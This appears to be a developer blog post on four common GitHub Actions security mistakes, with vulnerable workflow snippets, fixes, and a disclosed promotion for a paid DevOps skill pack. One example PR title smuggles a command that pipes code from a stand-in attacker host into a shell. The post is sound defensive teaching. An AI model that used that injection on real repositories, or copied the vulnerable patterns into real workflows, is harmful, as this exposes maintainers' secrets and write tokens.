Most GitHub Actions workflows I read have at least one of these. Each one runs fine, passes review, and quietly hands an attacker your secrets or a write token. Here's what they look like and the fix for each.
1. Untrusted text inside run: (script injection)
- run: echo "PR title: ${{ github.event.pull_request.title }}"
${{ }} is expanded before the shell runs, so the PR title becomes part of your script. A PR titled "; curl https://evil.sh | sh; echo " executes on your runner. The same goes for issue titles and bodies, comment bodies, commit messages, branch names (github.head_ref) and workflow_dispatch inputs.
Fix: pass it through an environment variable and quote it.
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $TITLE"
2. pull_request_target + checking out the PR
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test
pull_request_target runs with your secrets and a write token, even for PRs from forks. Checking out the PR's code and running npm ci means a fork's package.json scripts run with those secrets. This is the "pwn request" pattern.
Fix: build and test untrusted code on pull_request (no secrets). If you need privileged follow-up (comments, labels), do it in a separate workflow_run job that never executes PR code.
3. Actions pinned to a tag
- uses: some-org/deploy-action@v2
Tags are mutable. If that repo is compromised, the tag can be moved to malicious code and your next run executes it with your secrets. That's exactly what happened with tj-actions/changed-files in 2025.
Fix: pin to the full commit SHA and let Dependabot keep it updated.
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
4. No permissions: block
Without one, GITHUB_TOKEN gets your repository's default scopes, which on many repos means read/write on contents, packages, PRs and more. One compromised step can push to main.
Fix: least privilege at the top, extra scopes per job.
permissions:
contents: read
Bonus: the minutes you're burning
-
concurrency:withcancel-in-progress: truestops superseded runs on the same PR. -
timeout-minutes:on every job. The default is 6 hours. - The
cache:input onactions/setup-node/setup-pythonstops every run re-downloading dependencies.
Want this checked automatically? I packaged an audit script for these (plus 8 more rules) as an agent skill. Point Claude Code, Cursor or Codex at your .github/workflows and it finds the issues and writes the patched files. It's part of a 6-skill DevOps pack (CI triage, Dockerfile, Terraform plan risk, PR review, postmortems): https://masteryoursyche.gumroad.com/l/ship-safe-devops-skills
Disclosure: I built the pack. Everything above works without it.
Top comments (0)